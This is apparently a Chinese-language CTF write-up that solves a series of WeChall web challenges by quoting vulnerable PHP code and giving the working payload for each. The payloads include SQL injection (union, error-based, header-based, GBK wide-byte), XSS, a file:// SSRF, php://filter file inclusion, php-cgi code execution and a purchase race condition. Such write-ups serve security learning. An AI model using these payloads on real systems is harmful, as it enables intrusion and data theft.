(这次真的不太监)Wechall WriteUp

这次真的会持续更新的…

Are You Serial?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
final class SERIAL_Solution
{
public $username = '';
public $password = '';
public $userlevel = 0;
}
$a = new SERIAL_Solution();
$a->username='admin';
$a->password='testtest';
$a->userlevel=100;

echo serialize($a);
?>

O:15:"SERIAL_Solution":3:{s:8:"username";s:5:"admin";s:8:"password";s:8:"testtest";s:9:"userlevel";i:100;}
改到cookie,然后把login选项去掉

htmlspecialchars

echo "<a href='http://".htmlspecialchars(Common::getPost('input'),ENT_QUOTES)."'>Exploit Me</a>";

PHP 0816

1
2
3
4
5
6
7
8
9
10
11
12
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}

code.php?hl[0]=nice&hl[1]=text&mode=hl&src=solution.php
把src放到后面就不会先执行php0816SetSourceFile,就绕开了文件白名单

Crappyshare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
// Thanks
upload_please_thx($file_data);
}
}
else
{
htmlDisplayError('Your URL looks errorneous.');
}
}

对url没有过滤,所以可以用file://协议来用curl来读取文件
file://solution.php

PHP 0815

$query = "SELECT 1 FROM `table` WHERE `id`=$show";
in_array($show, $whitelist)
id = ‘1 or 1=1#’在php里还是识别为1,垃圾php弱类型
所以强制类型转换,intval(),但是长度太长,(int),提示说两个字符,所以运用弱类型,+0 or /1

No Escape

1
2
3
4
5
6
7
8
9
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

...

if ($count == 111) {
noesc_solved();
noesc_resetVotes();
break;
}

vote_for=bill%20=%20111%23`

Yourself PHP

1
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;

说明可以构造url使得标签闭合,然后插入<script>的标签完成xss
index.php/"><script>alert(1)</script>

Stop us

1
'ignore_user_abort' => false

默认值为 FALSE 。 如果设置为 TRUE ,在客户端断开连接后,脚本不会被中止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (noother_timeout($sid) === false)
{
nooth_message('Checking your balance ...');
nooth_message(sprintf('Your balance is $%.02f ...', noothtable::getMoney($sid)));
if (noothtable::getMoney($sid) >= $price)
{
nooth_message('Balance ok!');

# TODO: Do checks more checks!
nooth_message('Checking availability of your domain ...');
nooth_message('Domain is available ...');

# +1 domain
if (false === noothtable::purchaseDomain($sid))
{
die('Hacking attempt!');
}
nooth_message('Purchasing ...');
nooth_message('Domain purchased.');

# -$10.00
nooth_message('Reducing your balance ...');
noothtable::reduceMoney($sid, $price);
nooth_message('Thank you for your purchase!');

# Done!
nooth_message('Purchased!');

# Something weird? Oo
if (noothtable::getFundings($sid) < noothtable::getDomains($sid))
{
GWF_Module::loadModuleDB('Forum', true, true);
# Get here, hacker!
$chall->onChallengeSolved(GWF_Session::getUserID());
}
nooth_message('Thank you for using noother-domains.com!');
}

可以看到增加域名在扣钱之前,所以在扣钱前把脚本关闭了就不会扣钱了,所以先增加一次钱,在买域名,在扣钱之前退出,就看到域名比增加钱的次数多,然后在完整的买域名操作,就done了

php 0819

PHP里有个叫heredoc的东西

1
2
3
4
$str = <<<s
1337
s;
echo $str //1337

就是这么神奇,这在laravel里也有
?eval=<<<s%0a1337%0as%0a;

The Guestbook

题目要求我们获得admin的密码
在代码第30行可以看到

1
"gbu_password  VARCHAR(255) CHARACTER SET ASCII COLLATE ascii_bin ) "; # Guestbook password <-- You need the password for username Admin

在往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}

...

# insert the entry
$playerid = gbook_playerID(true); // Current Player
$userid = 0; # guestbook has no login yet.
$time = time();
$ip = gbook_getIP();
$message = GDO::escape($message);
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";

发现对于IP并没有过滤,可以构造X-Forworded-For来造成注入

payload11', (select gbu_password from gbook_user where gbu_name='admin')) #

Addslashes

1
2
3
4
5
6
$username = addslashes($username);
$password = md5($password);

if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
return htmlDisplayError('Can`t connect to database.');
}

看到GBK就知道是宽字节注入了
payload username=%ef%27%20and%201=2%20union%20select%20username%20from%20users%20where%20username=0x41646d696e%20--%20a&password=111&login=%E6%B3%A8%E5%86%8C

Order By Query

in_array可以用1 sql来绕过,然后试了半天失败了,最后试了下报错注入,惊了。
首先是1 and extractvalue(0,concat(0x5c,(select password from users where username=0x41646d696e)))
发现前面少了一位,查资料发现是concat的锅,去掉concat再来一遍,把两个结果拼接下就done了

Warchall: Live RCE

看了下是php cgi,查了一下,百度首页就有资料
http://blog.csdn.net/god_7z1/article/details/8191328

先用-s,读出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
require '../config.php';
$username = isset($_GET['username']) ? (string)$_GET['username'] : 'Guest';
?>
<!DOCTYPE html>
<html>
<head>
<title>Live RCE [Warchall]</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
body {
background: #000;
color: #0f0;
padding: 24px;
}
p {
padding: 12px 0;
}
</style>
</head>
<body>
<h1>Live RCE!</h1>
<p>Hello <?php echo $username; ?>!</p>
<p>Here are your $_SERVER vars:</p>
<pre>
<?php print_r($_SERVER); ?>
</pre>
<p>Kind Regards<br/>The Warchall staff!</p>
<!-- We hope you like our signatures :) -->
</body>
</html>

然后用本地文件包含的poc读取/ect/passwd和/home/level/20_live_rce/config.php 并没读出啥
远程poc发现可以把http改成php://input,就可以用php干任何事情了,php是最好的语言!!!

Training: MySQL I

查找用户名的md5进行比较,也没什么过滤,所以很容易就绕过了
1' and 1=2 union select 1,'admin','c4ca4238a0b923820dcc509a6f75849'#

Training: MySQL II

1' and 1=2 union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
这回要加个password=1

Table Names

1' or 1=1#可以登录,所以用order by 来猜字段,没想到失败了,那就用union select来猜1' and 1=2 union select 1,2,3#,所以是3个字段,1,3显示

所以用database()获得库名
(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)来获得表名

Table Names II

过滤了常见关键字,所以这题我去看wp了Orz
这里有个语句show processlist可以看到数据库的信息,info字段就是我们的语句,所以
1' and 1=2 union select info,2,3 from information_schema.processlist#

就把前面语句给爆出来了

Limited Access & Limited Access II

用burp把POST全改为LOL就过了2333333

Training: WWW-Robots

http://www.wechall.net/robots.txt

Warchall: Live LFI

既然是LFI,就看下有没有?xxx=xxx这样的链接,发现在切换EN/DN那里有,上php伪协议
?lang=php://filter/read=convert.base64-encode/resource=solution.php

Warchall: Live RFI

为什么这题还能用伪协议,心情简单
把base64里重复的字符去除,就可以了

PHP My Admin

这题疯狂扫描题目目录,然后放弃了,去寻找wp,发现竟然是扫网站根目录,心态崩了
放wp,顺便膜大佬
https://www.xctf.org.cn/library/details/0336229e1fbbfec8f7ad3851bd00af41153e1a08/

Guesswork

猜密码题,试了下wechall123,告诉我十分接近了,然后上脚本+字典,wechall+xxx,最后爆出来是wechallbot

Preg Evasion

badmethodevilfunction+an 他会把前面当成.尽可能向后匹配,但是如果过长就会匹配不到,但n不能太大了,会引起正则匹配错误,大概在10w字节就可以

由于真的不知道怎么做,所以发邮件给wupco师傅询问Orz

我用了badmethodevilfunction+a*100w